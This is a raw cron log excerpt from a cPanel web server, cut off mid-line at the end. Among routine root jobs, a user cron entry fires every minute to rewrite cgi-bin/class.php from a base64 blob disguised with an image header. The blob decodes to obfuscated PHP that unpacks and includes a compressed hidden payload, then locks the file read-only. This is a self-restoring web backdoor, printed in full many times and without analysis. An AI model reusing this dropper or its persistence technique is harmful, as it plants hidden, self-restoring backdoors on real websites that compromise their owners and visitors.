Apr  9 07:01:01 server CROND[3196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:01:01 server run-parts(/etc/cron.hourly)[3195]: starting 0anacron
Apr  9 07:01:01 server run-parts(/etc/cron.hourly)[3209]: finished 0anacron
Apr  9 07:02:01 server CROND[3271]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:03:01 server CROND[3342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:04:01 server CROND[3407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:05:01 server CROND[3537]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:05:01 server CROND[3538]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:05:01 server CROND[3539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:05:01 server CROND[3540]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 07:06:01 server CROND[3695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:07:01 server CROND[3768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:08:01 server CROND[3838]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:09:01 server CROND[3915]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 07:09:01 server CROND[3916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:10:01 server CROND[3978]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:10:01 server CROND[3979]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:10:01 server CROND[3981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:10:01 server CROND[3983]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 07:11:01 server CROND[4201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:12:01 server CROND[4268]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 07:12:01 server CROND[4269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:13:01 server CROND[4374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:14:01 server CROND[4433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSV